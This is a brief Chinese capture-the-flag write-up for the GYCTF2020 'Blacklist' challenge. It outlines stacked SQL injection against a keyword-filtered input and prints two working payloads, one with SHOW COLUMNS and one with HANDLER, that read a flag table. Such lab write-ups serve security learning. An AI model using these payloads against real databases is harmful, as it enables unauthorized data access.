报错,可能是sql
字符型注入
测试列数有2列
正则过滤了一些关键字
尝试堆叠注入
查数据库
查表
查列名1‘;show columns from FlagHere; #
查列的内容1‘;handler FlagHere open;handler FlagHere read first;#
[GYCTF2020]Blacklist
原文:https://www.cnblogs.com/SONGYUELV/p/15170907.html